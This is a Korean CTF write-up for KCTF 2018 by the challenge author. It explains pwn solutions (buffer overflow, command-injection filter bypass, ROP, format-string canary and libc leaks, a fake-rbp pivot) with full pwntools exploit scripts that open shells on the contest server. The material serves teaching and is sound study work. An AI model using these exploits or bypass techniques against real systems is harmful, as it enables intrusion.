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Contest Information
Main page
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Duration 
2018.12.07 2:00 PM ~ 2018.12.09 2:00 AM (36 hours)
Site
ctf.kuality.kr
Rules
No sharing flags.
Free-For-All.
[bookmark: _GoBack]Prizes are given only to students from Korea University.
Prizes are given to the Top 8
The recipient must submit a report on the answer.
Unauthorized attacks can be punished.
Port scanning is also penalized.
Be a human being.

Scoreboard
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제1회 고려대학교 세종캠퍼스 해킹방어대회 KCTF 2018이 무사히 종료되었습니다! 많은 성원과 참여 감사드립니다! 본 대회에 등록하신 42분 중 최종적으로 결정된 수상자는 다음과 같습니다.

	순위
	이름
	상품

	1
	류희정
	외장하드 4TB

	2
	김승현
	SSD 250GB

	3
	오병윤
	키보드

	4
	박재우
	문화상품권 3만원

	5
	이나연
	무선 이어폰

	6
	인정민
	마우스

	7
	조수연
	문화상품권 2만원

	8
	양승욱
	문화상품권 1만원


[bookmark: _Toc535623149]PWN

[bookmark: _Toc535623150]Get Shell!
출제자 : ch4rli3kop
출제의도 : bof에 관한 간단한 고찰
[image: ]
바이너리를 실행해보면 입력을 하나 받는 간단한 프로그램인 것을 알 수 있습니다.
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IDA로 까는 것도 귀찮으니 그냥 어셈블리로 설명을 진행하도록 하겠습니당.
	pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004007e1 <+0>:   	push   rbp
   0x00000000004007e2 <+1>:   	mov    rbp,rsp
   0x00000000004007e5 <+4>:  	sub    rsp,0x110
   0x00000000004007ec <+11>:                   mov    rax,QWORD PTR fs:0x28
   0x00000000004007f5 <+20>: 	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004007f9 <+24>:	xor    eax,eax
   0x00000000004007fb <+26>:	mov    eax,0x0
   0x0000000000400800 <+31>: 	call   0x400766 <initialize>
   0x0000000000400805 <+36>:	mov    DWORD PTR [rbp-0x10],0xbeefdead  <-  set [rbp-0x10] = 0xbeefdead
   0x000000000040080c <+43>:	mov    edi,0x40091c 
   0x0000000000400811 <+48>:  	call   0x4005f0 <puts@plt>      <-   puts(“get shell for this?”)
   0x0000000000400816 <+53>: 	mov    edi,0x400930
   0x000000000040081b <+58>:  	mov    eax,0x0
   0x0000000000400820 <+63>:	call   0x400620 <printf@plt>    <-  printf(“> ”)
   0x0000000000400825 <+68>:	lea    rax,[rbp-0x110]
   0x000000000040082c <+75>:	mov    edx,0x1000
   0x0000000000400831 <+80>:	                  mov    rsi,rax
   0x0000000000400834 <+83>:	mov    edi,0x0
   0x0000000000400839 <+88>:	mov    eax,0x0
   0x000000000040083e <+93>:	call   0x400630 <read@plt>       <-  input read( stdin, &[rbp-0x110], 0x1000)
   0x0000000000400843 <+98>:	mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400846 <+101>:	cmp    eax,0xdeadbeef              <-  compare [rbp-0x10] == 0xdeadbeef ?
   0x000000000040084b <+106>:	jne    0x400859 <main+120>
   0x000000000040084d <+108>:	mov    eax,0x0
   0x0000000000400852 <+113>:	call   0x4007cb <getshell>         <-  execute system(“/bin/sh”)
   0x0000000000400857 <+118>:	jmp    0x400868 <main+135>
   0x0000000000400859 <+120>:	lea    rax,[rbp-0x110]
   0x0000000000400860 <+127>:	mov    rdi,rax
   0x0000000000400863 <+130>:	call   0x4005f0 <puts@plt>         <-  puts(&[rbp-0x110])
   0x0000000000400868 <+135>:	mov    eax,0x0
   0x000000000040086d <+140>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400871 <+144>:	xor    rcx,QWORD PTR fs:0x28
   0x000000000040087a <+153>:	je     0x400881 <main+160>
   0x000000000040087c <+155>:	call   0x400600 <__stack_chk_fail@plt>
   0x0000000000400881 <+160>:	leave  
   0x0000000000400882 <+161>:	ret    
End of assembler dump.

pwndbg> disass getshell
Dump of assembler code for function getshell:
   0x00000000004007cb <+0>:  	push   rbp
   0x00000000004007cc <+1>:   	mov    rbp,rsp
   0x00000000004007cf <+4>:   	mov    edi,0x400914
   0x00000000004007d4 <+9>:  	mov    eax,0x0
   0x00000000004007d9 <+14>: 	call   0x400610 <system@plt>
   0x00000000004007de <+19>:	                  nop
   0x00000000004007df <+20>:	pop    rbp
   0x00000000004007e0 <+21>: 	ret    
End of assembler dump.

pwndbg> x/s 0x400914
0x400914:  	"/bin/sh"
pwndbg>



위처럼 설명될 수 있습니다. main+101에서 [rbp-0x10] 값이 0xdeadbeef 인지를 확인하고 맞다면 getshell() 함수를 통해 쉘을 실행시켜주는 구조입니다. 처음 [rbp-0x10]을 0xbeefdead로 초기화 시켜주었기 때문에, buffer overflow가 발생하는 main+93을 통해 값을 0xdeadbeef로 바꿔준다면 쉘을 실행시킬 수 있습니다.

입력은 [rbp-0x110]부터 받기 때문에, dummy 값을 0x100만큼 주고, 다음 8bytes를 0xdeadbeef로 주면 끝입니당.

exploit
	from pwn import *

r = remote('ctf.kuality.kr',12350)

payload = 'A'*0x100
payload += p64(0xdeadbeef)

r.sendlineafter("> ",payload)

r.interactive()
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KCTF{It_w4S_s0_3Asy_fOr_You_T0_5olv3?}



[bookmark: _Toc535623151]rock-paper-scissors master! season 2
출제자 : ch4rli3kop
출제의도 : filtering 우회
[image: ]
MISC 항목의 rock-paper-scissors master!와 진행 방법은 같습니다. 그냥 가위바위보 게임이져.
다만, 확률이 좀 조정되었을 뿐입니당… 1/7777로 해놔서 솔직히 브루트포싱으로도 풀 수는 있지만… ㅎ 확률도 안 알려줬는데 누가 기약없는 브포를 돌리겠어요! ㅎ (…… 있었네요 그런사람이…ㅠㅠ)

처음부터 filtering 이라고 알려준 것처럼 이 문제는 필터링을 의도하고 만들어졌습니다.
그냥 입력할 때 대충 여러 가지를 시험해보셨으면 금방 푸셨을 거에요!


아래 코드는 나중에 힌트로 올라간 filtering code입니다. 
	void filtering(char* ptr){
	int i, len;
	char str[0x30] = "";
	len = strlen(ptr);
	for(i=0;i<len;i++){
		if(ptr[i] == ';' || ptr[i] == '|' || ptr[i] == '&' || ptr[i] == ')'){
			ptr[i] = '\x00';
		}
	}
	printf("you select : ");
	sprintf(str,"echo %s",ptr);
	system(str);
}



뭐 저런 식으로 코드가 진행합니다. you select : 뒤에 출력되는 것이 system에서 echo 명령을 통해 진행되므로 echo말고 다른 명령어(ex. /bin/sh, cat flag.txt 등)을 실행시키면 문제를 해결할 수 있습니다.

위의 filtering 함수에서는 사용자의 입력에서 ‘ ; ’, ‘ | ’, ‘ & ’, ‘)’ 특수문자들을 제거하는 역할을 합니다. filtering 하지 않는 특수문자를 사용하면 됩니다.

여러가지 다양한 방법들이 존재하겠지만, 제가 소개해드릴 방법은 개행 문자 ‘\n’를 사용하는 방법입니다. (대부분 백쿼터 ‘ ` ’를 이용하셔서 해결하셨네요 :p)

개행 문자를 이용하여 쉘 상에서 사용자의 입력한 것을 구분하여 실행해줄 수 있습니다.
예를 들어 제가 시도하려는 방법인 ‘\n’ + ‘/bin/sh’ 는 실제로 실행될 때 다음처럼 실행이 되겠지요!
	$ 
$ /bin/sh


 
exploit
	from pwn import *

r = remote('ctf.kuality.kr',12346)

r.sendlineafter('> ','\n'+'/bin/sh')
r.interactive()
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KCTF{LUcKy_ZZZ444anNg!}

[bookmark: _Toc535623152]R3ad F1ag!
출제자 : ch4rli3kop
출제의도 : ROP 워밍업. memcpy 특징 학습
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넹… 그냥 간단한 ROP 문제입니당. 다음 문제들을 위한 워밍업 단계였죠! …(근데 4명밖에 못 풀엇네 ㅠㅠ..)
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보안설정은 위와 같습니다. Canary는 걸지 않았고, PIE도 없습니당.
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코드에 관해 간단히 설명한다면, 그냥 input 받고, 0xdeadbeef 검사하는 방식입니다.
취약점은 보시다시피 getinput(&str1, 0x300)에서 buffer overflow가 발생할 수 있습니다.
물론 memcpy에서도 역시 [rbp-0x210]부터 존재하는 데이터를 [rbp-0x110]으로 0x250만큼 복사를 진행하기 때문에 bof가 발생합니다.

이 바이너리의 중요한 부분들은 아래와 같습니다.
	0x0000000000400aa3 <+139>:	mov    eax,DWORD PTR [rbp-0x10]
0x0000000000400aa6 <+142>:	cmp    eax,0xdeadbeef                <-  compare [rbp-0x10] == 0xdeadbeef
   0x0000000000400aab <+147>:	jne    0x400ad4 <main+188>
   0x0000000000400aad <+149>:	lea    rax,[rbp-0x210]
   0x0000000000400ab4 <+156>:	lea    rdx,[rbp-0x210]
   0x0000000000400abb <+163>:	lea    rcx,[rdx+0x100]
   0x0000000000400ac2 <+170>:	mov    edx,0x250
   0x0000000000400ac7 <+175>:	mov    rsi,rax
   0x0000000000400aca <+178>:	mov    rdi,rcx
   0x0000000000400acd <+181>:	call   0x400700 <memcpy@plt>  <-  memcpy(&[rbp-0x110],&[rbp-0x210],0x250)



[rbp-0x10]에 0xdeadbeef를 맞춰주면 계획대로 잘 하고 있다고 합니당
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넹.. 얼핏보면 그냥 [rbp-0x10]에 0xdeadbeef를 맞춰주고, [rbp-0x110]부터 ret에 맞춰서 payload를 작성하면 된다고 느끼실지도 모르겠습니다. 

하지만 그러면 450점짜리 문제가 아니겠죠! 이 문제에는 한 가지 장치를 해 두었습니다. 참고로 퍼너블 문제들은 450점짜리 문제에는 장치가 하나, 500점짜리 문제에는 두 개… 이런 식으로 만들었습니당..ㅎ

여기서 문제의 설명이 힌트가 될 수 있는데요. (맫씨가 아닌 맴씨) memcpy의 특징이 여기에서 한 가지 트랩 역할을 합니다.

memcpy() 함수는 메모리 공간을 복사하는 함수입니다만, 그 동작이 한 바이트씩 일어납니다..!(안전한 memmove를 사용하도록 합시다..!)
따라서, 다음 그림과 같이 str1을 복사할 때 str2로 str1에 있던 데이터가 복사되면서, 이 후 str2를 복사할 때에는 결국 처음 str1으로부터 복사된 데이터가 check너머의 메모리로 복사되게 됩니다.
[image: ]


위의 정보들을 토대로 한다면 str1[0x10] 위치는 rbp 일 것이고, str1[0x18] 위치가 ret 위치일 것입니다. 
ROP chain에 사용할 수 있는 gadget은 다음과 같습니다.

	pwndbg> x/2i 0x400b83
   0x400b83 <__libc_csu_init+99>:	pop    rdi
   0x400b84 <__libc_csu_init+100>:	ret    
pwndbg> x/s 0x400d41
0x400d41:	"cat flag.txt  ;"...
pwndbg> x/10i 0x4006b0
   0x4006b0 <system@plt>:	jmp    QWORD PTR [rip+0x201972]        # 0x602028
   0x4006b6 <system@plt+6>:	push   0x2
   0x4006bb <system@plt+11>:	jmp    0x400680



적당히 system(“cat flag.txt;”) 를 실행시켜주면 됩니당.

	from pwn import *

r = remote('ctf.kuality.kr',12351)

payload = ''
payload += 'A'*0x10                                     # padding
payload += 'B'*0x8                        # rbp
payload += p64(0x400b83)                  # pop rdi; ret;   
payload += p64(0x400d41)                  # "cat flag.txt ;)"
payload += p64(0x0004006b0)               # system@plt
payload += 'C'*(0x100-8*6)                # padding
payload += 'C'*0x100                      # padding
payload += p64(0xdeadbeef)                # check

r.sendlineafter("Input data : ",payload)

r.interactive()




[image: ]


번 외로 shell따는 방법으로도 문제를 풀 수 있으실 텐데, read@plt나strcpy@plt등을 활용하여 /bin/sh 문자열을 bss 영역에 생성시켜준 뒤 인자로 전달하면 됩니다. 아래의 예시는 bss 영역에 ‘sh’ + ‘\x00’을 만들어 system 함수의 인자로 전달하는 예시입니다.

	from pwn import *

r = remote('ctf.kuality.kr',12351)

payload = ''
payload += 'A'*0x10 		# padding
payload += 'B'*0x8  		# rbp
payload += p64(0x400b83)    	# pop rdi; ret;   
payload += p64(0x602000)    	# bss 0x602000
payload += p64(0x400b81)    	# 0x400b81 : pop rsi ; pop r15 ; ret
payload += p64(0x400c49)    	# 0x400c49 “sh  |”
payload += 'A'*8 			# padding
payload += p64(0x400690)    	# 0x400690 strcpy@plt
payload += p64(0x400b83)    	# pop rdi; ret;   
payload += p64(0x602002)    	# bss 0x602002
payload += p64(0x400b81)    	# 0x400b81 : pop rsi ; pop r15 ; ret
payload += p64(0x602100)    	# 0x602100    null;
payload += 'A'*8 			# padding
payload += p64(0x400690)    	# 0x400690 strcpy@plt
payload += p64(0x400b83)     	# pop rdi
payload += p64(0x602000)    	# bss 0x602000
payload += p64(0x4006b0)     	# system@plt
payload += 'A'*(112) 		# padding

payload += 'A'*0x100 		# padding
payload += p64(0xdeadbeef)           # check

r.sendlineafter("Input data : ",payload)
r.interactive()




[image: ]
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[bookmark: _Toc535623153]Guest Book
출제자 : ch4rli3kop
출제의도 : format string bug, signed unsigned의 차이 학습
[image: ]
보안 설정은 다음과 같습니다. Canary를 걸어줬고, PIE는 역시 걸지 않았습니다.
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바이너리를 대충 실행시켜보면 방문자의 이름 및 코멘트를 입력 및 출력하는 프로그램인 걸 알 수 있습니다.
크 디자인부터 굉장히 출제자가 신경써서 만든 티가 나죠??? (…안나면 말구요 ㅠ)

[image: ]


음 해당 바이너리를 IDA에서 대충 정리한 화면입니다. 최적화를 안했더니 쫌 더럽게(?) 나오네여.
[image: ]

먼저 주요 함수에 대한 설명을 잠시 해보겠습니다.
	input_name() : 전역변수 name에 0x10만큼 입력을 받습니다.
view_name() : 전역변수 name에 저장된 데이터를 출력합니다.
input_data() : length를 입력하고, 입력한 length에 따라 comment를 입력합니다. main의 지역변수 str에 저장됩니다.
view_data() : main 지역변수 str에 저장된 데이터를 출력합니다.



위의 함수들을 이용하여 동작하는데, 거두절미하고 취약점부터 말씀드리자면 본 문제는 두 가지 취약점을 가지고 있습니다.

먼저, format string bug가 발생하는 view_name() -> print_name() 함수입니다. 다음과 같이 snprintf를 사용하는 상황에서 전역변수 name에 있는 데이터를 str로 복사할 때 format string bug가 발생하기 때문에, 메모리 릭이 가능합니다.
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따라서, 처음 name을 입력 받을 때에, format string을 입력한다면 메모리에 존재하는 값들을 출력하게 할 수 있습니다. 아래는 snprintf를 call하기 직전 브레이크 포인트에 걸린 상태입니다.
	*RAX  0x0
 RBX  0x0
*RCX  0x0
*RDX  0x6020e0 (name) ◂— '%27$lx %29$lx'
*RDI  0x7ffdc53c0cb0 ◂— 0xb /* '\x0b' */
*RSI  0x30
*R8   0x0
*R9   0x1999999999999999
*R10  0x0
*R11  0x7fa33a7e45e0 ◂— add    al, byte ptr [rax]
 R12  0x400820 (_start) ◂— xor    ebp, ebp
 R13  0x7ffdc53c0e30 ◂— 0x1
 R14  0x0
 R15  0x0
*RBP  0x7ffdc53c0ca0 —▸ 0x7ffdc53c0cf0 —▸ 0x7ffdc53c0d50 —▸ 0x400df0 (__libc_csu_init) ◂— push   r15
*RSP  0x7ffdc53c0c90 —▸ 0x7ffdc53c0e30 ◂— 0x1
*RIP  0x400c4b (print_name+34) ◂— call   0x4007a0
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x400c4b <print_name+34>    call   snprintf@plt <0x4007a0>
        s: 0x7ffdc53c0cb0 ◂— 0xb /* '\x0b' */
        maxlen: 0x30
        format: 0x6020e0 (name) ◂— '%27$lx %29$lx'
        vararg: 0x0
 
   0x400c50 <print_name+39>    nop    
   0x400c51 <print_name+40>    leave  
   0x400c52 <print_name+41>    ret    
 
   0x400c53 <view_name>          push   rbp
   0x400c54 <view_name+1>       mov    rbp, rsp
   0x400c57 <view_name+4>      sub    rsp, 0x40
   0x400c5b <view_name+8>      mov    rax, qword ptr fs:[0x28]
   0x400c64 <view_name+17>     mov    qword ptr [rbp - 8], rax
   0x400c68 <view_name+21>     xor    eax, eax
   0x400c6a <view_name+23>     lea    rax, [rbp - 0x40]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7ffdc53c0c90 —▸ 0x7ffdc53c0e30 ◂— 0x1
01:0008│      0x7ffdc53c0c98 —▸ 0x7ffdc53c0cb0 ◂— 0xb /* '\x0b' */
02:0010│ rbp  0x7ffdc53c0ca0 —▸ 0x7ffdc53c0cf0 —▸ 0x7ffdc53c0d50 —▸ 0x400df0 (__libc_csu_init) ◂— push   r15
03:0018│      0x7ffdc53c0ca8 —▸ 0x400c76 (view_name+35) ◂— lea    rax, [rbp - 0x40]
04:0020│ rdi  0x7ffdc53c0cb0 ◂— 0xb /* '\x0b' */
05:0028│      0x7ffdc53c0cb8 —▸ 0x400acd (getint+74) ◂— mov    rcx, qword ptr [rbp - 8]
06:0030│      0x7ffdc53c0cc0 ◂— 0x32 /* '2' */
07:0038│      0x7ffdc53c0cc8 ◂— 0x0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0           400c4b print_name+34
   f 1           400c76 view_name+35
   f 2           400da1 main+158
   f 3     7fa33a68d830 __libc_start_main+240
Breakpoint * 0x0000000000400c4b
pwndbg> x/40gx $rsp
0x7ffdc53c0c90:	0x00007ffdc53c0e30	0x00007ffdc53c0cb0
0x7ffdc53c0ca0:	0x00007ffdc53c0cf0	0x0000000000400c76
0x7ffdc53c0cb0:	0x000000000000000b	0x0000000000400acd
0x7ffdc53c0cc0:	0x0000000000000032	0x0000000000000000
0x7ffdc53c0cd0:	0x0000000000000000	0x0000000000000000
0x7ffdc53c0ce0:	0x0000000000400820	0x35f0e65dbcb1b000
0x7ffdc53c0cf0:	0x00007ffdc53c0d50	0x0000000000400da1
0x7ffdc53c0d00:	0x000000ff00000000	0x0000000000000002
0x7ffdc53c0d10:	0x0000000000000000	0x0000000000000000
0x7ffdc53c0d20:	0x0000000000000000	0x0000000000000000
0x7ffdc53c0d30:	0x0000000000000000	0x0000000000000000
0x7ffdc53c0d40:	0x00007ffdc53c0e30	0x35f0e65dbcb1b000     <=  Canary
0x7ffdc53c0d50:	0x0000000000400df0	0x00007fa33a68d830     <=  libc leak
0x7ffdc53c0d60:	0x0000000000000000	0x00007ffdc53c0e38
0x7ffdc53c0d70:	0x0000000100000000	0x0000000000400d03
0x7ffdc53c0d80:	0x0000000000000000	0xfb08b1005aeebcc8
0x7ffdc53c0d90:	0x0000000000400820	0x00007ffdc53c0e30
0x7ffdc53c0da0:	0x0000000000000000	0x0000000000000000
0x7ffdc53c0db0:	0x04f33bf85bcebcc8	0x044ec551eedebcc8
0x7ffdc53c0dc0:	0x0000000000000000	0x0000000000000000
pwndbg> lib
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
               0x400000           0x402000            r-xp     2000 0        /home/m444ndu/Desktop/KCTF/pwn_hard/pwn4
                0x601000           0x602000             r--p     1000 1000   /home/m444ndu/Desktop/KCTF/pwn_hard/pwn4
               0x602000           0x603000            rw-p     1000 2000   /home/m444ndu/Desktop/KCTF/pwn_hard/pwn4
    0x7fa33a66d000     0x7fa33a82d000      r-xp   1c0000 0      /home/m444ndu/Desktop/KCTF/pwn_hard/libc.so.6
    0x7fa33a82d000     0x7fa33aa2d000      ---p   200000 1c0000 /home/m444ndu/Desktop/KCTF/pwn_hard/libc.so.6
    0x7fa33aa2d000     0x7fa33aa31000        r--p     4000 1c0000 /home/m444ndu/Desktop/KCTF/pwn_hard/libc.so.6
     0x7fa33aa31000     0x7fa33aa33000       rw-p     2000 1c4000 /home/m444ndu/Desktop/KCTF/pwn_hard/libc.so.6
    0x7fa33aa33000     0x7fa33aa37000       rw-p     4000 0      
    0x7fa33aa37000     0x7fa33aa5d000       r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fa33ac59000     0x7fa33ac5c000       rw-p     3000 0      
    0x7fa33ac5c000     0x7fa33ac5d000        r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fa33ac5d000     0x7fa33ac5e000       rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fa33ac5e000     0x7fa33ac5f000        rw-p     1000 0      
    0x7ffdc53a0000     0x7ffdc53c1000        rw-p    21000 0      [stack]
    0x7ffdc53de000     0x7ffdc53e1000         r--p     3000 0      [vvar]
    0x7ffdc53e1000     0x7ffdc53e3000         r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000       r-xp     1000 0      [vsyscall]


파란색 부분은 Canary를 나타낸 것이고 붉은색 부분은 libc 안의 주소를 나타낸 것입니다. 해당 상태에서는 format string Counter가 현재 Counter rdx로부터 rcx, r8, r9, rsp, rsp+0x8 … 순으로 증가하므로 계산을 해보면 27만큼 Counter가 증가했을 때 Canary를 릭할 수 있고, 29만큼 Counter가 증가했을 때 libc를 릭할 수 있습니다. 

따라서, 처음 입력 때 ”%27$lx %29$lx”를 입력한다면 view_name() 함수를 통해 Canary와 libc base 주소를 얻을 수 있습니다.
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다음으로는 이제 rip를 건드려 이 프로그램의 context flow를 조작하기만 하면 되는데요. 해당 작업을 위해서는 input_data()에서 발생하는 취약점을 이용합니당.

length가 unsigned int로 선언되어 있는 것에 반면에, if 문에서의 비교는 signed int형으로 바꾼 뒤 비교합니다. 따라서, length에 음수 값을 준다면 getinp(src, length)에서 bof를 일으킬 수 있습니다.
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libc base를 구하여 이제 one_gadget 주소를 알게 되었으니, bof를 일으켜 input_data()의 ret에 바로 execve(“/bin/sh”,NULL,NULL)를 실행시킬 수 있는 one_gadget 주소를 넣어주면 끝!


exploit
	from pwn import *

def input(size, data):
	r.sendlineafter('>> ', "1")
	r.sendlineafter('Input length : ',str(size))
	r.sendlineafter('Input comment : ', data)

def view():
	r.sendlineafter(">> ",'2')

r = remote('ctf.kuality.kr',12353)

r.sendlineafter(">> ",'%27$lx %29$lx')
view()
r.recvuntil("Name : ")

leak = int(r.recv(16),16)
canary = leak
success("canary = " + hex(canary))

r.recv(1)
leak = int(r.recv(12),16)
libc_base = leak - 133168
success("libc_base = " + hex(libc_base))

one_gadget = libc_base + 0x4526a
'''
0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
'''

payload = ''
payload += '\x00'*0x38   		# rsp+0x30 == NULL
payload += p64(canary)
payload += 'B'*0x8
payload += p64(one_gadget)

input(-1,payload)

r.interactive()
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아무도 못 풀어서 뿌듯하면서(?) 슬프네용 ㅠ 생각보다 별거 아닌 문제인뎁….ㅠ

[bookmark: _Toc535623154]Mandu Heaven ♬
출제자 : ch4rli3kop
출제의도 : Vulnerability index, fake rbp
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흠 이 문제도 안타깝게도(?) 아무도 못 풀었군요…ㅎ (뿌듯)
나름 굉장히 심혈을 기울여서 만든 친구인만큼 쉽게 풀렸으면 슬펐을 것 같습니다. 이번 대회를 준비하며 만든 문제들 중 가장 오랜 시간을 소요했어요 ㅠ

하지만 취약점만 찾으면 솔직히 별거 아닌 별거 같은 문제이므로 짧게 가겠습니다. (넹. 쓰다보니 젤 길어졌다고 합니다..)
먼저 설정된 보안기법들을 확인해 봅시다. Canary랑 PIE가 없네요! Canary도 없다니 이 출제자의 고운 마음씨를 여러분꼐서 알아주셧으면 합니당.

[image: ]

바이너리는 대충 요로코롬 동작합니다. (만두 헤븐은 약간 김밥 헤븐느낌으로 만들었어여 ㅎ)

[image: ]
그냥 뭐 메뉴 부르고, 가격 지불하고.. comment 남기고.. 뭐 그런 방식입니다. 늘 그렇듯 main문은 입력한 숫자에 따라 해당 함수들을 불러들이는 역할을 합니다. 
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각 함수에 대한 설명은 다음과 같습니다.
	order() : 전역 변수를 활용하여 남은 주문 개수 및 현재 주문 번호를 체크합니다. 일정 범위 내면, 주문에 대한 입력을 받습니다. 주문은 main에 존재하는 지역 변수 공간에 저장되며, 입력 받은 주문에 따라 가격을 setup 공간에 저장합니다. 이 후 ment() 함수에서 주문 번호를 증가시킵니다.
payment() : 사용한 주문 번호에 대하여 지불해야할 비용이 있는지 setup 공간을 확인한 뒤, 있다면 사용자에게 비용을 입력받습니다. (사용자가 입력한 비용 – 요리 가격)한 값이 setup 공간에 업데이트 됩니다.
comment() : 전역 변수 공간에 존재하는 값만큼 comment를 입력받습니다. 해당 전역변수는 편의상 commentsize라고 부르겠습니다. comment는 전역변수 공간에 존재하는 comment_space에 저장됩니다.



본 문제에서 발생하는 취약점은 총 두 가지입니다. 두 가지 모두 index 참조와 관련이 있는데, 첫 번째로는 order() 함수에서 데이터를 저장하는 배열의 인덱스에 대한 체크를 완벽하게 하지 않는 것에 있습니다.
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ordernum이 0x10보다 클 경우를 체크하는 루틴이 존재합니다만, 문제는 ordernum이 0x10일 때 발생할 수 있습니다. order()의 인자인 데이터를 입력 받을 주소는, main문 스택프레임의 [rbp-0x100]부터 0x10씩 증가하게 됩니다. 이는 만약 ordernum이 0x10이 된다면 main문 스택프레임의 rbp와 ret에 해당하는 영역을 할당받아 데이터를 쓸 수 있게 된다는 것을 뜻하져.

물론 위에 존재하는 remain이라는 변수를 통해 최대 0x10번만 order()를 사용할 수 있도록 조치하였지만, 이를 우회할 수 있는 방법이 있지 않을까요? (인생에는 항상 변수가 있습니다…ㅎ)

넹. 사실 remain 값을 바꾸던가 아니면 order()를 0x10번 부르기 전에 ordernum 값을 0x10으로 만들어주면 된답니다! 어떻게 그게 가능한지는 다음 취약점을 함 봐보시졍

payment() 함수는 앞서 설명했다시피, 입력받은 주문번호를 참조하여 해당 메모리 위치에 존재하는 값을 업데이트할 수 있는 기능을 가졌습니다. 듣기만해도 흑마법에 굉장히 유용할 거 같은 함수이죠! 아래와 같이 생겼습니다.
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do while 문을 이용해서 유효한 주문 번호를 입력할 때까지 계속해서 입력을 받습니다. 근데 여기서 while 문에 조건이 해당 주문번호를 인덱스로 참조했을 때의 값을 가지고 판단합니다. (　〇□〇）!! (으아닛!)

ㅎㅎ... 어설픈 index 관리의 위험함을 보여주는 예라고 볼 수 있겠습니당. 암튼 그렇기 때문에 ordernum과 같이 전역변수에 위치하고 있는 변수들의 값을 payment() 함수를 통하여 조작할 수 있습니다!
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0x6061c0 부터 주문 번호에 따른 가격에 저장됩니다. 0x1f4는 500입니다. 0x606240부터는 차례대로 ordernum, commentsize, remain이 저장됩니다. index로 따지면 32번째가 ordernum, 33번째가 commentsize.. 이렇게 되겠군여.

payment() 함수에서 해당 인덱스 값을 이용하여 저 값들을 바꿔줄 수 있습니다! ordernum을 0x10으로 바꾼다면 그 다음 order에서 main 스택프레임의 rbp와 ret를 바꿀 수 있겠죠!

ret 이후의 공간을 좀 더 쓸 수 있다면 편하겠지만, 해당 공간들은 할당이 불가능하기 때문에 fake ebp기법을 사용하여 익스를 하도록 하겠습니다.


제가 세운 시나리오는 다음과 같습니다.
	1. comment기능을 통하여 .bss 영역에 libc leak을 할 수 있는 ROP chain을 구성합니다.
2. fake ebp기법을 활용하여 rsp 및 rbp 컨트롤로 .bss영역의 ROP chain을 실행시킵니다.
3. ROP chain 이 후에 main 문으로 돌아와서 처음부터 다시 동작합니다. 해당 시점에서는 .bss 영역이 stack으로써 동작합니다.
4. ret를 libc base 주소를 통해 알게 된 one gadget주소로 덮어 execve(“/bin/sh”,NULL,NULL)을 실행시킵니다. 




fake ebp 기법에 대하여 간단하게 소개한다면, leave; ret; 가젯을 활용하여 esp와 ebp를 컨트롤하는 기법이라고 할 수 있습니다. leave 명령어는 실제 동작이 mov rsp, rbp; pop rbp; 처럼 이루어지며, ret 명령어는 pop rip; 처럼 동작합니다. 공격자는 해당 명령어들을 활용하여 사용하고자 하는 스택프레임을 조작할 수 있습니다. 

해당 기법을 본 바이너리를 익스하는 것에 활용한다면 bss 영역인 comment_space(0x6060c0)의 공간에 ROP chain을 구성해놓은 뒤, leave; ret를 이용한 rsp 및 rbp 컨트롤로 rip를 움직일 수 있습니다.

해당 과정에 대한 구체적인 동작은 다음 그림과 같습니다.
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위의 동작 이후, puts(&read_got)를 실행시켜 libc base 주소를 얻은 뒤에는 다시 main함수로 돌아갑니다. 해당 시점에서는 main 함수가 사용하는 프레임은 .bss 영역에 존재합니다. main 함수가 불리기 직전 rsp는 0x6060e8을 가리키고 있으며, main 함수가 시작하면서 실행하는 프레임 구성 명령어(push rbp; mov rbp, rsp;)를 통하여 main 함수는 rbp로 0x6060e0을 가지며 동작하게 됩니다.

위처럼 사용할 시 주의점은 스택처럼 사용하는 공간이 충분히 커야 하는데, 여러 함수를 사용하면서 만들어내는 프레임이 쓰기 가능한 공간 내에 존재해야 하기 때문입니다. 또한, got영역과 같이 프로그램의 동작과 밀접한 관련이 있는 공간도 피하도록 주의해야합니다. printf와 같은 함수는 상당히 많은 공간을 사용하므로 각별히 주의해주세영.

본 바이너리에서는 약 0x4000 byte 정도의 여유가 있으므로 안전합니다!
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libc를 릭한 시점에서 main으로 돌아온 뒤 order하면 전역변수 commentsize는 여전히 0x10이므로 곧 바로 rbp와 ret에 해당하는 공간을 덮어쓸 수 있습니다. 이제 ret를 one gadget으로 덮으면 끝!


exploit
	from pwn import *

r = remote("ctf.kuality.kr",12354)

r.sendlineafter(">> ","1")
r.sendlineafter(">> ", 'Gogi mandu')

# payment change ordernum 1 -> 16
r.sendlineafter(">> ","2")
r.sendlineafter(">> ", "32")
r.sendlineafter(">> ", '17')

# payment change commentsize
r.sendlineafter(">> ","2")
r.sendlineafter(">> ", "33")
r.sendlineafter(">> ", "1001")
'''
0x400829 : leave ; ret
0x400df3 : pop rdi ; ret
0x602030   <read.got.plt>
0x400646    <puts@plt>
0x400abe    <main+0>
'''

fakerbp = 0x6060c0

# leave a comment
r.sendlineafter(">> ","3")

payload1 = p64(fakerbp)
payload1 += p64(0x00400df3) # pop rdi; ret;
payload1 += p64(0x00602030) # read got
payload1 += p64(0x00400646) # puts plt
payload1 += p64(0x00400abe) # return main;

r.sendlineafter(">> ",payload1)


# order allocate rbp + ret
r.sendlineafter(">> ","1")

payload2 = p64(fakerbp)
payload2 += p64(0x00400829)

r.sendlineafter(">> ",payload2) 
r.sendlineafter(">> ","4")
r.recvuntil("bye! bye~!\n")

leak = u64(r.recvline()[:-1].ljust(8,'\x00'))
libc_base = leak - 1012304
success("libc_base = "+hex(libc_base))

one_gadget = libc_base + 0x45216
'''
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
